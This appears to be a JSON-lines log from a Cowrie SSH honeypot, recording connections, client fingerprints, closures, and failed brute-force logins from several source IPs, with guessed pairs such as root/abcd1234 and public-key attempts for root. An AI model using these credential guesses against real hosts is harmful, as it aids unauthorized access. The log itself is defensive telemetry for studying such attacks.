{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50006,"dst_ip":"159.203.135.109","dst_port":22,"session":"79da6ee59bd4","protocol":"ssh","message":"New connection: 91.92.42.133:50006 (159.203.135.109:22) [session: 79da6ee59bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:15.931628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:16.167484Z","src_ip":"91.92.42.133","session":"79da6ee59bd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:16.170955Z","src_ip":"91.92.42.133","session":"79da6ee59bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:16.635063Z","src_ip":"91.92.40.171","session":"355c6ba962a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:17.804329Z","src_ip":"91.92.42.133","session":"79da6ee59bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:18.938881Z","src_ip":"91.92.42.133","session":"79da6ee59bd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54936,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce3741eb0358","protocol":"ssh","message":"New connection: 91.92.40.171:54936 (159.203.135.109:22) [session: ce3741eb0358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:20.413921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:20.608537Z","src_ip":"91.92.40.171","session":"ce3741eb0358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:20.611037Z","src_ip":"91.92.40.171","session":"ce3741eb0358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:21.381925Z","src_ip":"91.92.40.171","session":"ce3741eb0358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.216.2","src_port":19796,"dst_ip":"10.17.0.5","dst_port":22,"session":"5275bd8b71f6","protocol":"ssh","message":"New connection: 212.192.216.2:19796 (10.17.0.5:22) [session: 5275bd8b71f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:21.456862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:21.463084Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:21.544343Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:87:a5:64:00:dd:f0:d6:98:0a:43:cd:c6:5e:d4:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3NnyDLAqD8jaGWjdEkmkgaaE/DAnrMVvcU+xPcDCtkPsFQURhEqiMxBwwGHKWbEvhv6OnQIOBiWT9o/SWupYbRtcSMNyHkgvpi3P7pf0aC478ZBa+O1JtxUwAW3ifS4+e0Uh3p1a+526K0h0QIYssInhLVXajE5pC/dRoseJrZnA4LlpKmCGhqbfR5OHMF1zwxTryrLfimv0u+kHUL2AzwIxvl3IAnXwowMG0fG3PRT5mXEnynMBtJi0UI+si9AeX4WXImmdiwIIeNHsqbuqPW56AlR8g5P4sG6GOLNFz8LyCEuI4vJj2j21cfY52RS0gMctSt9bVHeniZQqlcRxZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:87:a5:64:00:dd:f0:d6:98:0a:43:cd:c6:5e:d4:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:21.924622Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:87:a5:64:00:dd:f0:d6:98:0a:43:cd:c6:5e:d4:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3NnyDLAqD8jaGWjdEkmkgaaE/DAnrMVvcU+xPcDCtkPsFQURhEqiMxBwwGHKWbEvhv6OnQIOBiWT9o/SWupYbRtcSMNyHkgvpi3P7pf0aC478ZBa+O1JtxUwAW3ifS4+e0Uh3p1a+526K0h0QIYssInhLVXajE5pC/dRoseJrZnA4LlpKmCGhqbfR5OHMF1zwxTryrLfimv0u+kHUL2AzwIxvl3IAnXwowMG0fG3PRT5mXEnynMBtJi0UI+si9AeX4WXImmdiwIIeNHsqbuqPW56AlR8g5P4sG6GOLNFz8LyCEuI4vJj2j21cfY52RS0gMctSt9bVHeniZQqlcRxZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:21.926486Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:27:2f:56:04:48:b1:68:e7:4c:82:bc:9c:96:5e:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8W7f69doruGTpmYFLwnPnWq4A3EiaPfsr+wri2E1PNz0JfBQR/ZOO3QANNIuFBWzSpK2MD2ER8b1JeE2fM2IdwCM5HOWghAqfZ03I1vdXK9ko2ByPe8b4kMPSsb9DqnnDxPLXdn7XlnlxctB5ZF5G76oCCIBM920wUlNb5MlxQDixE3iCyVzIKAcq2Vg0+Nu4bXIN1B8FkzOD5U1Zbz9ajuOXnYNXfm2XbC+9fWJDjq4/K0UD06h3N7stRkIABY+1vOmMuNedxfKYg5aRlhDjvqmGZu+SVV0VHPMd9dJncXCycvh8x8MZdOjlfwt2RAqeGzVK+bqlumeB1zIUYjYJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:27:2f:56:04:48:b1:68:e7:4c:82:bc:9c:96:5e:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.006109Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:27:2f:56:04:48:b1:68:e7:4c:82:bc:9c:96:5e:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8W7f69doruGTpmYFLwnPnWq4A3EiaPfsr+wri2E1PNz0JfBQR/ZOO3QANNIuFBWzSpK2MD2ER8b1JeE2fM2IdwCM5HOWghAqfZ03I1vdXK9ko2ByPe8b4kMPSsb9DqnnDxPLXdn7XlnlxctB5ZF5G76oCCIBM920wUlNb5MlxQDixE3iCyVzIKAcq2Vg0+Nu4bXIN1B8FkzOD5U1Zbz9ajuOXnYNXfm2XbC+9fWJDjq4/K0UD06h3N7stRkIABY+1vOmMuNedxfKYg5aRlhDjvqmGZu+SVV0VHPMd9dJncXCycvh8x8MZdOjlfwt2RAqeGzVK+bqlumeB1zIUYjYJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.009727Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:6e:90:9a:fc:2b:f2:a1:e4:aa:09:c9:92:28:4c:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpHyF9BMdzw2nh9oCQclr6C23On1Rqe4dcTiRhBnrv7J0UgLIAeiaG2FWDdXOsqr39P4cWZKtun8DOLw+KNzKectEkO2J5+XsbaWcqnLfgbVmo0fntSlxjeuFRbHPMq5Rak9JmuO9mnFNygZ6Ns+Ln+7+/SjtNcfl0pEpVoAjr81CagrFAfCntbTFIwlhm+Y9ZQx5kHqp+qzYDdigzMNV09Nw+Rf8CB96qKuXkwJdpkUKEiMFL7IgEJYiqgH6SqtuXFGb7vL0Cqen5OKUfQd0T6pp+byXyaA3xA3WGiM+B+70Egp8+fsvX+qw/tGMYCT0nVpfj6NIgH21veffixbJZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:6e:90:9a:fc:2b:f2:a1:e4:aa:09:c9:92:28:4c:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.090299Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:6e:90:9a:fc:2b:f2:a1:e4:aa:09:c9:92:28:4c:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpHyF9BMdzw2nh9oCQclr6C23On1Rqe4dcTiRhBnrv7J0UgLIAeiaG2FWDdXOsqr39P4cWZKtun8DOLw+KNzKectEkO2J5+XsbaWcqnLfgbVmo0fntSlxjeuFRbHPMq5Rak9JmuO9mnFNygZ6Ns+Ln+7+/SjtNcfl0pEpVoAjr81CagrFAfCntbTFIwlhm+Y9ZQx5kHqp+qzYDdigzMNV09Nw+Rf8CB96qKuXkwJdpkUKEiMFL7IgEJYiqgH6SqtuXFGb7vL0Cqen5OKUfQd0T6pp+byXyaA3xA3WGiM+B+70Egp8+fsvX+qw/tGMYCT0nVpfj6NIgH21veffixbJZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.092299Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:66:83:25:6f:25:18:99:61:5d:57:55:44:9b:06:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIj59uTjiu1XghDK53DosVRxNtscTx/7n3EN+T0Vrse","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 86:66:83:25:6f:25:18:99:61:5d:57:55:44:9b:06:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.178640Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:66:83:25:6f:25:18:99:61:5d:57:55:44:9b:06:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIj59uTjiu1XghDK53DosVRxNtscTx/7n3EN+T0Vrse","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.182260Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:16:2d:dd:8e:b7:95:b8:89:67:8d:24:10:55:98:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3VqqIh4SihBP6/3yZ1gyWD4WExrmIAlmvB/gKNeKSmHzF/ZXbSgbmBulYCOazh0C4bEaJvVZsbjn49S95IIKXj+tFNqhlO/UodRUB4e1EeabJlCly5RQv6J4OS2S2dH+AanVKl6QRYDDtoQvuyqG6KNCu5sjFCMLgIV5wW+hCmOvgnboU9HuRMTLfz9DkFznKMFsMJ2uojIjq4WzD5fYwYDn9aNZ8mDacaNow6UkTGNPVg/pRZwzsOin0LOcUfK/PENnchNZE3uJTWvXMyFChuanGFKF28AcQqeQ3WcH8OrmomFnYqSZwIUTUkQszmsy079BJjEV+F9VqQ4ygawq8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:16:2d:dd:8e:b7:95:b8:89:67:8d:24:10:55:98:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.266204Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:16:2d:dd:8e:b7:95:b8:89:67:8d:24:10:55:98:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3VqqIh4SihBP6/3yZ1gyWD4WExrmIAlmvB/gKNeKSmHzF/ZXbSgbmBulYCOazh0C4bEaJvVZsbjn49S95IIKXj+tFNqhlO/UodRUB4e1EeabJlCly5RQv6J4OS2S2dH+AanVKl6QRYDDtoQvuyqG6KNCu5sjFCMLgIV5wW+hCmOvgnboU9HuRMTLfz9DkFznKMFsMJ2uojIjq4WzD5fYwYDn9aNZ8mDacaNow6UkTGNPVg/pRZwzsOin0LOcUfK/PENnchNZE3uJTWvXMyFChuanGFKF28AcQqeQ3WcH8OrmomFnYqSZwIUTUkQszmsy079BJjEV+F9VqQ4ygawq8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.269536Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.349660Z","src_ip":"212.192.216.2","session":"5275bd8b71f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:22.514540Z","src_ip":"91.92.40.171","session":"ce3741eb0358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50088,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ec1848f316a","protocol":"ssh","message":"New connection: 91.92.42.133:50088 (159.203.135.109:22) [session: 1ec1848f316a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:24.257685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:24.659353Z","src_ip":"91.92.42.133","session":"1ec1848f316a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:24.663158Z","src_ip":"91.92.42.133","session":"1ec1848f316a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:25.693323Z","src_ip":"91.92.42.133","session":"1ec1848f316a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:26.878599Z","src_ip":"91.92.42.133","session":"1ec1848f316a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36352,"dst_ip":"159.203.135.109","dst_port":22,"session":"a753bda5b82e","protocol":"ssh","message":"New connection: 91.92.40.171:36352 (159.203.135.109:22) [session: a753bda5b82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:27.413523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:27.561509Z","src_ip":"91.92.40.171","session":"a753bda5b82e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:28.303728Z","src_ip":"91.92.40.171","session":"a753bda5b82e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36402,"dst_ip":"159.203.135.109","dst_port":22,"session":"6628aa37fece","protocol":"ssh","message":"New connection: 91.92.40.171:36402 (159.203.135.109:22) [session: 6628aa37fece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:31.729849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:31.956275Z","src_ip":"91.92.40.171","session":"6628aa37fece","protocol":"ssh"}
